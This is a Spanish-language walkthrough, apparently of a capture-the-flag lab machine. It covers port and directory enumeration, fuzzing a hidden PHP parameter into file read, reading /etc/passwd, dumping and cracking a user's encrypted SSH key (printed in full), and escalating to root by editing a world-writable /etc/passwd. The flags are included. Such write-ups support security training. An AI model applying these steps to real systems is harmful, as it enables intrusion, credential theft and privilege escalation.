Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 13:37 EDT
Nmap scan report for 192.168.5.150
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
|   256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA)
|_  256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 00:0C:29:1D:4A:83 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.38 ms 192.168.5.150

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.150/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Follow Redirect:         true
[+] Timeout:                 10s
```

```
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.php        (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 10701]
/robots.txt           (Status: 200) [Size: 12]
/robots.txt           (Status: 200) [Size: 12]
/secret               (Status: 200) [Size: 4]
/server-status        (Status: 403) [Size: 278]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Si nos vamos a `/robots.txt` veremos lo siguiente...

```
Hello H4x0r
```

Y en `/secret/` no vemos aparentemente nada, pero si en esa `URL` hacemos otro `gobuster`...

```
gobuster dir -u http://<IP>/secret/ -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.150/secret/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/evil.php             (Status: 200) [Size: 0]
```

```
/index.html            (Status: 200) [Size: 4]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Veremos que hay un `/evil.php`, si entramos dentro de ese `.php`...

Tampoco habra nada, pero si volvemos a escanear de esta manera este directorio...

```
ffuf -u http://<IP>/secret/evil.php?FUZZ=/etc/passwd -w <WORDLIST> -fs 0
```

Info:

```

        /'___\  /'___\           /'___\
       /\ __/ /\ __/  __  __  /\ __/
       \ \ ,__\ \ ,__/\ /\ \ \ \ ,__\
        \ \ _/ \ \ _/\ \ _\ \ \ \ _/
         \ _\   \ _\  \ ____/  \ _\
          /_/    /_/   /___/    /_/

       v2.1.0-dev
```

:: Method   : GET
:: URL   : http://192.168.5.150/secret/evil.php?FUZZ=/etc/passwd
:: Wordlist   : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration   : false
:: Timeout   : 10
:: Threads   : 40
:: Matcher   : Response status: 200-299,301,302,307,401,403,405,500
:: Filter   : Response size: 0

---

command   [Status: 200, Size: 1398, Words: 13, Lines: 27, Duration: 3ms]
:: Progress: [20469/20469] :: Job [1/1] :: 213 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

```

Veremos que se pueden ejecutar comandos con el parametro ``command`` en este caso
para esta pagina ``.php``...

Si ponemos en la ``URL`` lo siguiente...

```

URL = http://<IP>/secret/evil.php?command=/etc/passwd

```

Podremos ver el ``passwd`` del servidor...

```

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin

```
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-
data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash systemd-coredump:x:999:999:systemd Core
Dumper:/:/usr/sbin/nologin
```

```
Por lo que vemos encontramos un usuario llamado ``mowree``, por lo que intentaremos
leer su ``id_rsa``...
```

URL = http://192.168.5.150/secret/evil.php?command=/home/mowree/.ssh/id_rsa

```
Info:
```

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
```

p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----

~~~~
```shell
chmod 600 id_rsa

ssh2john id_rsa > <DUMP_FILE>
~~~~

Info:

```
id_rsa:$sshng$0$8$9FB14B3F3D04E90E$1192$bae426d821487bf7994f9a4dc90ebe2b551aa7f15859c
b04925cce36dfb1e003ba1668c5991f11529c0c1eeae66d10ba86aca88aff2f8294204113d83332774204
bd9140867600b9f9c5e5342493fc6290392e103103144da723659f04273a1ea3bfbbb4207c664fec5bb6f
c7379b80b3d02984e66badf19cae4e70744809460107d98eab2576e8078d9d6dd7b9a575bfa0cd6181526
29338b3bf81cb80642f938fe0681a46f68277a2300f39a095facbf76aab822bd744289bed2d385b2ea2d6
fb03d5d3b9b80496c954126f1f196eb8917df1dcbb5746ca11d769fe92b67a4fe20e4f34e13161314755b
1a7851bfe41ed5d3cddbc34016e005fe21d3cab208ec4611a5591ca695ff29c69cebf4ce1959fb3d7add2
8e9a553cad3b1f86dd2e0f520b5a2662e9ef260ba7312d004c2f2e016ce8439233e646b487e34ea1f52b5
6d7c967f3a786d30a5be33de3c1209d8ce1ec57ead4a94c8d91f19c84b76dd725e0c155d05dc7a71fa20e
e92fc9f79e58aba8794bafccd7d52953d92aac9a26ead1aa7c585bf7f37499bef1756231071c81001a67e
65bdab556d20ca27ec1228314a175a4f93c674914a2952d2f9b0f5b47072e943a12829f71fc79db57c2f6
4dfbd3c3183cd4704a6bf716022e4987fa172bd3aca952d96ef54ade3cb87f5ecf782804cae23a0e216ec
ef069cf74a06223edc7934a9a90bd64c9841506d323293c8433cc9172cb0666bfcc7559d85a6543e6911d
0326ca05f046ff156ed82477efc0512b3949922caa4635d02e814c543cf7237d11a636e97d842cd839b63
3b31bdbac0d416e1f7fba9edf42bf231ae6ecc7e424fcee7909528bde081d768fbe5e2fc82a0f2d6f3d27
3b0d0ecbc6f0f86b9164693c8c29cca76d30fc106e43eee3292a80a91861199595f5fca1e8acdc2d610a3
aafa772ed87440323eed286b15be70d27d2a7c34f8a34dd4d4fba7da2a9d23833e8836541784b4043df10
3fce9f9df7c3671a546a32624af92b66a912089370d1464bccc710a6d768360e8b515204f6fa681a6779e
ae797aacd7461d14d4fe507e13be57c5b36d5ce13faf9132daa05b52f4880801e029d322e77a0e95d0b51
f65ffff5a96b5dafb89d67035b61a82a3963c4e28d2bc8d7b39f129d2eb62ebbdc3595689198ea97c5e2e
f12f45db124d20b6922d2ed5fbc401cb153559b78507e9cb0e730ab9bef2401a1ebd43f8a4cf95e6c90fb
00f0404403ccd78e8fdcc1875fb5ceb766b749bb848e569c825a904336bea0aa96e379084b38bbca7589a
fa678bd095652e86df9d48318b74339bd485da989f41d78f554e065c684838151fdf86edb348842037fea
b1d82a70c6801ed6d3262279597d1dac2959487872017c7abf84f7f63c7bd4d1ca73ecccdf637eb1f6e7d
9739307d890d3f172911002774b4a4ca653ff65c5e344b3a5112417794436caf6fad66fb3a61834423587
d77d609da048855223d672e74da8bdf7ebd87707bcfbc9c9ab8fd65e190df954d85e77444f61f47c53531
40a9b9361c6cbafbaa92ff843a0d55714c7769e038364119d14e3a7be1d435359ee3bae72f5bb0c1144f8
22bcd1d92bafdc85cb26d552a0701eb9a64151462e44b623ff243958c88c52a4190e2b35158a568a3f1da
46823f7f61bab5b12239572550c4fc8aeb4083c4b854

john --wordlist=<WORDLIST> <DUMP_FILE>
```

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
```

```
unicorn          (id_rsa)
1g 0:00:00:00 DONE (2024-05-28 14:23) 20.00g/s 24960p/s 24960c/s 24960C/s
ramona..shirley
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Nos saca unas credenciales...

```
Password = unicorn
```

Por lo que haremos lo siguiente...

```
ssh -i id_rsa mowree@<IP>
```

Metemos la `password` y ya estariamos dentro...

Leemos la flag...

> user.txt (flag1)

```
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
```

Si hacemos lo siguiente...

```
ls -la /etc/passwd

-rw-rw-rw- 1 root root 1398 ago 16  2021 /etc/passwd
```

Veremos que podemos escribir el `passwd` por lo que haremos lo siguiente...

Primero en nuestro `host` crearemos un `password` para `root`...

```
echo -n '1234' | openssl passwd -stdin
```

La contraseña sera `1234`...

```
$1$87Ns6S3x$vMhG7QBzY.BRf3j7pE64A0
```

Ahora en nuestro servidor victima, hacemos lo siguiente...

```
nano /etc/passwd
```

Dentro del mismo cambiamos la `x` de `root` donde le pertenece la contraseña y se la cambiamos por la nuestra `$1$87Ns6S3x$vMhG7QBzY.BRf3j7pE64A0`, hecho esto lo guardamos y nos tendria que quedar algo tal que asi...

```
root:$1$87Ns6S3x$vMhG7QBzY.BRf3j7pE64A0:0:0:root:/root:/bin/bash
```

Cambiamos a `root`...

```
su root
```

Y metemos nuestra contraseña puesta, en mi caso `1234`, con esto ya seriamos `root` y leeremos la flag...

> root.txt (flag2)

```
36QtXfdJWvdC0VavlPIApUbDlqTsBM
```